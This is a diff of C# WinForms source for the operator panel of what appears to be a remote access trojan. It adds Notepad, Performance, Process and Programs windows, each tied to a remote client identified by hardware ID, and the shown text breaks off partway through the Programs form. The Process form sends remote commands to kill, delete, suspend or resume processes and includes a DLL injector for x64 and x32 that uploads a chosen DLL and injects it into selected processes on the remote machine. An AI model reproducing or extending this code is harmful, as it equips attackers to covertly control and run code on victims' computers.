this.components = new System.ComponentModel.Container();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.richTextBox1.BackColor = System.Drawing.Color.White;
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.richTextBox1.Enabled = false;
this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.richTextBox1.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.richTextBox1.Location = new System.Drawing.Point(3, 64);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.Size = new System.Drawing.Size(473, 451);
this.richTextBox1.TabIndex = 1;
this.richTextBox1.Text = "";
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(479, 518);
base.Controls.Add(this.richTextBox1);
base.Name = "FormNotepad";
this.Text = "Notepad";
base.Load += new System.EventHandler(FormProcess_Load);
base.ResumeLayout(false);
}
}
+255
View File
@@ -0,0 +1,255 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using MaterialSkin;
using Server.Connectings;
using Server.Helper;
using WinFormAnimation;
namespace Server.Forms;
public class FormPerformance : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private System.Windows.Forms.Timer timer1;
private Panel panel1;
private PictureBox pictureBox1;
public CircularProgressBar circularProgressBar1;
public CircularProgressBar circularProgressBar2;
public Label label1;
public Label label2;
public Label label3;
public Label label4;
public Label label5;
public Label label7;
public Label label6;
public FormPerformance()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormPerformance_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
}
private void ChangeScheme(object sender)
{
circularProgressBar1.ProgressColor = FormMaterial.PrimaryColor;
circularProgressBar2.ProgressColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormPerformance));
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.panel1 = new System.Windows.Forms.Panel();
this.label3 = new System.Windows.Forms.Label();
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.label7 = new System.Windows.Forms.Label();
this.label6 = new System.Windows.Forms.Label();
this.label5 = new System.Windows.Forms.Label();
this.label4 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.label1 = new System.Windows.Forms.Label();
this.circularProgressBar2 = new Server.Helper.CircularProgressBar();
this.circularProgressBar1 = new Server.Helper.CircularProgressBar();
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.pictureBox1).BeginInit();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.panel1.BackColor = System.Drawing.Color.White;
this.panel1.Controls.Add(this.label3);
this.panel1.Controls.Add(this.pictureBox1);
this.panel1.Controls.Add(this.label7);
this.panel1.Controls.Add(this.label6);
this.panel1.Controls.Add(this.label5);
this.panel1.Controls.Add(this.label4);
this.panel1.Controls.Add(this.label2);
this.panel1.Controls.Add(this.label1);
this.panel1.Controls.Add(this.circularProgressBar2);
this.panel1.Controls.Add(this.circularProgressBar1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(497, 301);
this.panel1.TabIndex = 0;
this.label3.AutoSize = true;
this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.label3.Location = new System.Drawing.Point(60, 257);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(84, 15);
this.label3.TabIndex = 5;
this.label3.Text = "System Time: ";
this.pictureBox1.Image = (System.Drawing.Image)resources.GetObject("pictureBox1.Image");
this.pictureBox1.Location = new System.Drawing.Point(35, 252);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(25, 25);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom;
this.pictureBox1.TabIndex = 10;
this.pictureBox1.TabStop = false;
this.label7.AutoSize = true;
this.label7.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.label7.Location = new System.Drawing.Point(306, 182);
this.label7.Name = "label7";
this.label7.Size = new System.Drawing.Size(53, 15);
this.label7.TabIndex = 9;
this.label7.Text = "Logical: ";
this.label6.AutoSize = true;
this.label6.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.label6.Location = new System.Drawing.Point(306, 155);
this.label6.Name = "label6";
this.label6.Size = new System.Drawing.Size(45, 15);
this.label6.TabIndex = 8;
this.label6.Text = "Cores: ";
this.label5.AutoSize = true;
this.label5.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.label5.Location = new System.Drawing.Point(27, 169);
this.label5.Name = "label5";
this.label5.Size = new System.Drawing.Size(49, 15);
this.label5.TabIndex = 7;
this.label5.Text = "Speed: ";
this.label4.AutoSize = true;
this.label4.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.label4.Location = new System.Drawing.Point(306, 125);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(49, 15);
this.label4.TabIndex = 6;
this.label4.Text = "Speed: ";
this.label2.AutoSize = true;
this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.label2.Location = new System.Drawing.Point(27, 16);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(58, 15);
this.label2.TabIndex = 4;
this.label2.Text = "Memory: ";
this.label1.AutoSize = true;
this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.label1.Location = new System.Drawing.Point(150, 79);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(68, 15);
this.label1.TabIndex = 3;
this.label1.Text = "Processor: ";
this.circularProgressBar2.AnimationFunction = WinFormAnimation.KnownAnimationFunctions.Liner;
this.circularProgressBar2.AnimationSpeed = 500;
this.circularProgressBar2.BackColor = System.Drawing.Color.Transparent;
this.circularProgressBar2.Font = new System.Drawing.Font("Arial", 13f);
this.circularProgressBar2.ForeColor = System.Drawing.Color.Black;
this.circularProgressBar2.InnerColor = System.Drawing.Color.White;
this.circularProgressBar2.InnerMargin = 2;
this.circularProgressBar2.InnerWidth = -1;
this.circularProgressBar2.Location = new System.Drawing.Point(31, 45);
this.circularProgressBar2.MarqueeAnimationSpeed = 2000;
this.circularProgressBar2.Name = "circularProgressBar2";
this.circularProgressBar2.OuterColor = System.Drawing.Color.Gray;
this.circularProgressBar2.OuterMargin = -12;
this.circularProgressBar2.OuterWidth = 12;
this.circularProgressBar2.ProgressColor = System.Drawing.Color.FromArgb(255, 128, 0);
this.circularProgressBar2.ProgressWidth = 12;
this.circularProgressBar2.SecondaryFont = new System.Drawing.Font("Microsoft Sans Serif", 36f);
this.circularProgressBar2.Size = new System.Drawing.Size(100, 100);
this.circularProgressBar2.StartAngle = 270;
this.circularProgressBar2.SubscriptColor = System.Drawing.Color.FromArgb(166, 166, 166);
this.circularProgressBar2.SubscriptMargin = new System.Windows.Forms.Padding(10, -35, 0, 0);
this.circularProgressBar2.SubscriptText = "";
this.circularProgressBar2.SuperscriptColor = System.Drawing.Color.FromArgb(166, 166, 166);
this.circularProgressBar2.SuperscriptMargin = new System.Windows.Forms.Padding(10, 35, 0, 0);
this.circularProgressBar2.SuperscriptText = "";
this.circularProgressBar2.TabIndex = 2;
this.circularProgressBar2.Text = "0 %";
this.circularProgressBar2.TextMargin = new System.Windows.Forms.Padding(8, 8, 0, 0);
this.circularProgressBar2.Value = 68;
this.circularProgressBar1.AnimationFunction = WinFormAnimation.KnownAnimationFunctions.Liner;
this.circularProgressBar1.AnimationSpeed = 500;
this.circularProgressBar1.BackColor = System.Drawing.Color.Transparent;
this.circularProgressBar1.Font = new System.Drawing.Font("Arial", 13f);
this.circularProgressBar1.ForeColor = System.Drawing.Color.Black;
this.circularProgressBar1.InnerColor = System.Drawing.Color.White;
this.circularProgressBar1.InnerMargin = 2;
this.circularProgressBar1.InnerWidth = -1;
this.circularProgressBar1.Location = new System.Drawing.Point(181, 102);
this.circularProgressBar1.MarqueeAnimationSpeed = 2000;
this.circularProgressBar1.Name = "circularProgressBar1";
this.circularProgressBar1.OuterColor = System.Drawing.Color.Gray;
this.circularProgressBar1.OuterMargin = -12;
this.circularProgressBar1.OuterWidth = 12;
this.circularProgressBar1.ProgressColor = System.Drawing.Color.Lime;
this.circularProgressBar1.ProgressWidth = 12;
this.circularProgressBar1.SecondaryFont = new System.Drawing.Font("Microsoft Sans Serif", 36f);
this.circularProgressBar1.Size = new System.Drawing.Size(100, 100);
this.circularProgressBar1.StartAngle = 270;
this.circularProgressBar1.SubscriptColor = System.Drawing.Color.FromArgb(166, 166, 166);
this.circularProgressBar1.SubscriptMargin = new System.Windows.Forms.Padding(10, -35, 0, 0);
this.circularProgressBar1.SubscriptText = "";
this.circularProgressBar1.SuperscriptColor = System.Drawing.Color.FromArgb(166, 166, 166);
this.circularProgressBar1.SuperscriptMargin = new System.Windows.Forms.Padding(10, 35, 0, 0);
this.circularProgressBar1.SuperscriptText = "";
this.circularProgressBar1.TabIndex = 1;
this.circularProgressBar1.Text = "0 %";
this.circularProgressBar1.TextMargin = new System.Windows.Forms.Padding(8, 8, 0, 0);
this.circularProgressBar1.Value = 68;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(503, 368);
base.Controls.Add(this.panel1);
base.Name = "FormPerformance";
this.Text = "Performance";
base.Load += new System.EventHandler(FormPerformance_Load);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.pictureBox1).EndInit();
base.ResumeLayout(false);
}
}
+439
View File
@@ -0,0 +1,439 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Reflection;
using System.Threading.Tasks;
using System.Windows.Forms;
using Leb128;
using MaterialSkin;
using MaterialSkin.Controls;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormProcess : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
private ContextMenuStrip contextMenuStrip1;
private ToolStripMenuItem killToolStripMenuItem;
private ToolStripMenuItem killRemoveToolStripMenuItem;
private ToolStripMenuItem openDirectoryExplorerToolStripMenuItem;
private Panel panel1;
public DataGridView dataGridView2;
public MaterialLabel materialLabel1;
private DataGridViewTextBoxColumn Column4;
private DataGridViewTextBoxColumn Column3;
private DataGridViewTextBoxColumn Column1;
private ToolStripMenuItem resumeProcessToolStripMenuItem;
private ToolStripMenuItem suspendProcessToolStripMenuItem;
private ToolStripSeparator dToolStripMenuItem1;
private ToolStripSeparator dToolStripMenuItem;
private ToolStripMenuItem dllInjectorToolStripMenuItem;
private ToolStripMenuItem x64ToolStripMenuItem;
private ToolStripMenuItem x32ToolStripMenuItem;
public FormProcess()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
typeof(DataGridView).InvokeMember("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.SetProperty, null, dataGridView2, new object[1] { true });
}
private void ChangeScheme(object sender)
{
dataGridView2.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
dataGridView2.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
dataGridView2.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
dataGridView2.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
private int[] PidsSelected()
{
List<int> list = new List<int>();
foreach (DataGridViewRow selectedRow in dataGridView2.SelectedRows)
{
list.Add((int)selectedRow.Cells[1].Value);
}
return list.ToArray();
}
private void killToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = PidsSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "Kill", num }));
}
}
}
private void killRemoveToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = PidsSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "KillRemove", num }));
}
}
}
private void openDirectoryExplorerToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0 && !string.IsNullOrEmpty((string)dataGridView2.SelectedRows[0].Cells[2].Value))
{
FormExplorer formExplorer = (FormExplorer)Application.OpenForms["Explorer:" + client.Hwid];
if (formExplorer == null)
{
MessageBox.Show("Please open Explorer!");
return;
}
formExplorer.client.Send(LEB128.Write(new object[2]
{
"GetPath",
Path.GetDirectoryName((string)dataGridView2.SelectedRows[0].Cells[2].Value)
}));
}
}
private void suspendProcessToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = PidsSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "Suspend", num }));
}
}
}
private void resumeProcessToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = PidsSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "Resume", num }));
}
}
}
private void x64ToolStripMenuItem_Click(object sender, EventArgs e)
{
string checksum = Methods.GetChecksum("Plugin\\Injector.dll");
OpenFileDialog openFileDialog = new OpenFileDialog();
try
{
openFileDialog.Title = "Choose dll";
openFileDialog.Filter = "Files(*.dll)|*.dll";
openFileDialog.Multiselect = false;
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
Task.Run(delegate
{
parrent.Send(new object[3]
{
"Invoke",
checksum,
LEB128.Write(new object[4]
{
"InjectX64",
Path.GetFileName(openFileDialog.FileName),
File.ReadAllBytes(openFileDialog.FileName),
string.Join(";", PidsSelected())
})
});
});
}
}
finally
{
if (openFileDialog != null)
{
((IDisposable)openFileDialog).Dispose();
}
}
}
private void x32ToolStripMenuItem_Click(object sender, EventArgs e)
{
string checksum = Methods.GetChecksum("Plugin\\Injector.dll");
OpenFileDialog openFileDialog = new OpenFileDialog();
try
{
openFileDialog.Title = "Choose dll";
openFileDialog.Filter = "Files(*.dll)|*.dll";
openFileDialog.Multiselect = false;
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
Task.Run(delegate
{
parrent.Send(new object[3]
{
"Invoke",
checksum,
LEB128.Write(new object[4]
{
"InjectX32",
Path.GetFileName(openFileDialog.FileName),
File.ReadAllBytes(openFileDialog.FileName),
string.Join(";", PidsSelected())
})
});
});
}
}
finally
{
if (openFileDialog != null)
{
((IDisposable)openFileDialog).Dispose();
}
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormProcess));
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.killRemoveToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.dToolStripMenuItem1 = new System.Windows.Forms.ToolStripSeparator();
this.suspendProcessToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.resumeProcessToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.dToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator();
this.openDirectoryExplorerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.panel1 = new System.Windows.Forms.Panel();
this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel();
this.dataGridView2 = new System.Windows.Forms.DataGridView();
this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.dllInjectorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.x64ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.x32ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuStrip1.SuspendLayout();
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.dataGridView2).BeginInit();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[8] { this.killToolStripMenuItem, this.killRemoveToolStripMenuItem, this.dllInjectorToolStripMenuItem, this.dToolStripMenuItem1, this.suspendProcessToolStripMenuItem, this.resumeProcessToolStripMenuItem, this.dToolStripMenuItem, this.openDirectoryExplorerToolStripMenuItem });
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(201, 170);
this.killToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("killToolStripMenuItem.Image");
this.killToolStripMenuItem.Name = "killToolStripMenuItem";
this.killToolStripMenuItem.Size = new System.Drawing.Size(200, 22);
this.killToolStripMenuItem.Text = "Kill Process";
this.killToolStripMenuItem.Click += new System.EventHandler(killToolStripMenuItem_Click);
this.killRemoveToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("killRemoveToolStripMenuItem.Image");
this.killRemoveToolStripMenuItem.Name = "killRemoveToolStripMenuItem";
this.killRemoveToolStripMenuItem.Size = new System.Drawing.Size(200, 22);
this.killRemoveToolStripMenuItem.Text = "Kill Process + Remove";
this.killRemoveToolStripMenuItem.Click += new System.EventHandler(killRemoveToolStripMenuItem_Click);
this.dToolStripMenuItem1.Name = "dToolStripMenuItem1";
this.dToolStripMenuItem1.Size = new System.Drawing.Size(197, 6);
this.suspendProcessToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("suspendProcessToolStripMenuItem.Image");
this.suspendProcessToolStripMenuItem.Name = "suspendProcessToolStripMenuItem";
this.suspendProcessToolStripMenuItem.Size = new System.Drawing.Size(200, 22);
this.suspendProcessToolStripMenuItem.Text = "Suspend Process";
this.suspendProcessToolStripMenuItem.Click += new System.EventHandler(suspendProcessToolStripMenuItem_Click);
this.resumeProcessToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("resumeProcessToolStripMenuItem.Image");
this.resumeProcessToolStripMenuItem.Name = "resumeProcessToolStripMenuItem";
this.resumeProcessToolStripMenuItem.Size = new System.Drawing.Size(200, 22);
this.resumeProcessToolStripMenuItem.Text = "Resume Process";
this.resumeProcessToolStripMenuItem.Click += new System.EventHandler(resumeProcessToolStripMenuItem_Click);
this.dToolStripMenuItem.Name = "dToolStripMenuItem";
this.dToolStripMenuItem.Size = new System.Drawing.Size(197, 6);
this.openDirectoryExplorerToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("openDirectoryExplorerToolStripMenuItem.Image");
this.openDirectoryExplorerToolStripMenuItem.Name = "openDirectoryExplorerToolStripMenuItem";
this.openDirectoryExplorerToolStripMenuItem.Size = new System.Drawing.Size(200, 22);
this.openDirectoryExplorerToolStripMenuItem.Text = "Open Directory Explorer";
this.openDirectoryExplorerToolStripMenuItem.Click += new System.EventHandler(openDirectoryExplorerToolStripMenuItem_Click);
this.panel1.Controls.Add(this.materialLabel1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panel1.Location = new System.Drawing.Point(3, 512);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(794, 20);
this.panel1.TabIndex = 1;
this.materialLabel1.AutoSize = true;
this.materialLabel1.Depth = 0;
this.materialLabel1.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel1.Location = new System.Drawing.Point(2, 1);
this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel1.Name = "materialLabel1";
this.materialLabel1.Size = new System.Drawing.Size(94, 19);
this.materialLabel1.TabIndex = 1;
this.materialLabel1.Text = "Please wait...";
this.dataGridView2.AllowDrop = true;
this.dataGridView2.AllowUserToAddRows = false;
this.dataGridView2.AllowUserToDeleteRows = false;
this.dataGridView2.AllowUserToResizeColumns = false;
this.dataGridView2.AllowUserToResizeRows = false;
this.dataGridView2.BackgroundColor = System.Drawing.Color.White;
this.dataGridView2.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.dataGridView2.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.dataGridView2.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.dataGridView2.Columns.AddRange(this.Column4, this.Column3, this.Column1);
this.dataGridView2.ContextMenuStrip = this.contextMenuStrip1;
this.dataGridView2.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView2.DefaultCellStyle = dataGridViewCellStyle2;
this.dataGridView2.Dock = System.Windows.Forms.DockStyle.Fill;
this.dataGridView2.Enabled = false;
this.dataGridView2.EnableHeadersVisualStyles = false;
this.dataGridView2.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
this.dataGridView2.Location = new System.Drawing.Point(3, 64);
this.dataGridView2.Name = "dataGridView2";
this.dataGridView2.ReadOnly = true;
this.dataGridView2.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
this.dataGridView2.RowHeadersVisible = false;
this.dataGridView2.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.dataGridView2.ShowCellErrors = false;
this.dataGridView2.ShowCellToolTips = false;
this.dataGridView2.ShowEditingIcon = false;
this.dataGridView2.ShowRowErrors = false;
this.dataGridView2.Size = new System.Drawing.Size(794, 448);
this.dataGridView2.TabIndex = 17;
this.Column4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column4.HeaderText = "Name";
this.Column4.MinimumWidth = 100;
this.Column4.Name = "Column4";
this.Column4.ReadOnly = true;
this.Column3.HeaderText = "Pid";
this.Column3.MinimumWidth = 80;
this.Column3.Name = "Column3";
this.Column3.ReadOnly = true;
this.Column3.Width = 80;
this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column1.HeaderText = "Path";
this.Column1.MinimumWidth = 100;
this.Column1.Name = "Column1";
this.Column1.ReadOnly = true;
this.dllInjectorToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[2] { this.x64ToolStripMenuItem, this.x32ToolStripMenuItem });
this.dllInjectorToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("dllInjectorToolStripMenuItem.Image");
this.dllInjectorToolStripMenuItem.Name = "dllInjectorToolStripMenuItem";
this.dllInjectorToolStripMenuItem.Size = new System.Drawing.Size(200, 22);
this.dllInjectorToolStripMenuItem.Text = "Dll Injector";
this.x64ToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("x64ToolStripMenuItem.Image");
this.x64ToolStripMenuItem.Name = "x64ToolStripMenuItem";
this.x64ToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.x64ToolStripMenuItem.Text = "X64";
this.x64ToolStripMenuItem.Click += new System.EventHandler(x64ToolStripMenuItem_Click);
this.x32ToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("x32ToolStripMenuItem.Image");
this.x32ToolStripMenuItem.Name = "x32ToolStripMenuItem";
this.x32ToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.x32ToolStripMenuItem.Text = "X32";
this.x32ToolStripMenuItem.Click += new System.EventHandler(x32ToolStripMenuItem_Click);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(800, 535);
base.Controls.Add(this.dataGridView2);
base.Controls.Add(this.panel1);
base.Name = "FormProcess";
this.Text = "Process";
base.Load += new System.EventHandler(FormProcess_Load);
this.contextMenuStrip1.ResumeLayout(false);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.dataGridView2).EndInit();
base.ResumeLayout(false);
}
}
+303
View File
@@ -0,0 +1,303 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Reflection;
using System.Windows.Forms;
using Leb128;
using MaterialSkin;
using MaterialSkin.Controls;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormPrograms : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
private ContextMenuStrip contextMenuStrip1;
private ToolStripMenuItem killRemoveToolStripMenuItem;
private Panel panel1;
public DataGridView dataGridView2;
public MaterialLabel materialLabel1;
private ToolStripSeparator toolStripSeparator1;
private ToolStripMenuItem toolStripMenuItem2;
private DataGridViewTextBoxColumn Column1;
private DataGridViewTextBoxColumn Column2;
private DataGridViewTextBoxColumn Column3;
private DataGridViewTextBoxColumn Column4;
private DataGridViewTextBoxColumn Column5;
private DataGridViewTextBoxColumn Column6;
private ToolStripMenuItem toolStripMenuItem1;
public FormPrograms()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
